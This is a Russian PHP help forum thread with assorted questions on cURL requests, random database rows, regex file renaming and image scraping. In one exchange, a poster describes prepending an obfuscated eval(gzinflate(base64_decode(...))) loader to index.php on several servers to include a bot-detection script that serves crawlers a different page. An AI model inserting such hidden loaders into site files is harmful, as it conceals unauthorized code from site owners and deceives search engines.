2 вопроса: 1. не по теме, расскажите мне о запросах, чем их делать, структуру запроса знаю, интересует откуда берется ID сессии, и content lenght 2. Дайте мануалы с курлом, и как собственно отправить 2 запроса подряд, post и get , и проверить есть ли в гет аттач?
PHP: $post = "password=".$pass.""; $ref = "http://www.".$hostname."/"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, '$path'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'); curl_setopt($ch, CURLOPT_REFERER,$ref); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,$post); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch , CURLOPT_VERBOSE , 1 ); curl_setopt($ch , CURLOPT_HEADER , 1 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $result = curl_exec($ch); curl_close($ch); echo $result; что может быть проблемой, ничего не выводит, адрес http://slil.ru/28255566 (к примеру). Кто знает в чем проблема стукните в аську 495399. И какая опция проверяет или есть закачка файла?
Всем привет. Столкнулся с такой проблемой. Есть файл index.php. В самое начало файла вставляю строчку ?><? include "/home/sites/******/public_html/htdocs/temp.php"; ?><? При открытии сайта пишет: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1 Parse error: syntax error, unexpected $end in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1 И продолжает дальше грузить страницу. Проверял на трех серваках. Везде вылазит такая болячка, только на одном нормально проинклудилась. Бразы, подскажите в чем проблема.
Делаю то, что работает ибо не стал постить бы фигню. Инклудит файл temp.php на проверку ботов. Если бот- то отдает другую страницу, если нет- то продолжает грузить index.php Скрипт 100 процентов рабочий, так юзается он достаточно обширно. Может я не правильно расшифровал строку, взятую с рабочего сервера? <? eval(gzinflate(base64_decode("pZLRboJAEEV/hWxJhBh1nc0OO0Hqh5R2S2HthEIoJEm6q939d0a06dJZm7unDsZf0smGkHqgSzwTIkBNaoeKY86kCW1wAclNJa3pgaZUwd8VKLFAZVBKihZitjvIkO9Eg2qvRPIHLjROXZII7XRANJQoV2zUaJAgyphS5gVeZ0dSztbpOx4vqTsbKqLLVP2Y5uUbY/jSq5SZsbyqz6nbDT2076czGmBMxAs9ntyto6lxBrpWzfRnoYrlto7ZKTkWaTYr5BcrdHZWN0A3+hrWDlGLd2yOrmzA16QAZn0Q1eZOnjEEca+u9IBM+CVbkFaanUeNVQocb3DZBJvmi7wrdMrUdIhymgH8gC8d1C0S3h8d7Z6jvi+0XQa/gXpzRMvt13QdMXDuG93l7yH3ofn///dwtgcsipg61c2/4t6zlZrFsa/"))); ?> Расшифровал как ?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?
выбор случайного числа подскажите, как сделать выбор случайного числа от 1 до $sum PHP: $result_familiar_id= mysql_query ("SELECT id FROM familiar", $db); $sum = mysql_num_rows($result_familiar_id) тобиш мне нужно выбрать случайную статью из базы, где их $sum
PHP: $sql_result = $db->query ( "SELECT * FROM " . PREFIX . "_post WHERE approve = '1' ORDER BY RAND() LIMIT 0, 4" ); Как раз вчера делал для ДЛЕ.
разобрался $var = rand (1, $sum); в переменной $var будет случайное число от 1 до $sum (1 и $sum входят)
Ну дык все правильно. У тебя же идет так: <? eval(gzinflate... т.е. если с расшифрокой то получается так: <? ?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><? ?> В чем вообще проблема то?
Помогите плиз ачатовцы. У меня такая задача: Я скачал альбом рамшштайна: а там все песни с перфикмом т.е. стоит номер перед названием каждой песни. т.е. Code: 1-Rammlied.mp3 2-Bshrafe mich.mp3 3-du hast.mp3 ................................ Мне надо убрать эти цифры (они меня бесят) и оставить чистсое название. C++ я уже довно забыл и не стал с ипаца, решил на PHP. Начал кодить, но у меня с регулярками проблема, я их ещё не изучил. Так вот помогите плиз. Вот набросил. PHP: <?php $dir=opendir("./"); while(false != ($filename=readdir($dir)) { а тут помгите составить регулку } ?> Если не лень, допищите плиз. Заранее спс.
PHP: <?php $dir=opendir("./"); while(false != ($filename=readdir($dir))) { if(preg_match('/(\d+)-/',$filename)){ $new_filename=preg_replace('/(\d+)-/','',$filename); rename($filename,$new_filename); } } ?>
В состав девера не вошла библиотека php_soap.dll. пожалуйсте киньте ссылку где качнуть php_soap.dll для версии php 5.2.4
На удаленном сервере есть директория http://site.ru/image/ и там лежат картинки вида $id.jpg $id задается из БД Тоесть запускается скрипт прокрутки БД PHP: While($row=mysql_fetch_array($result)){ //парсер http://site.ru/image/$row[id].jpg } Как написать парсер который будет пихать в БД картинку? Таблица Images столбец img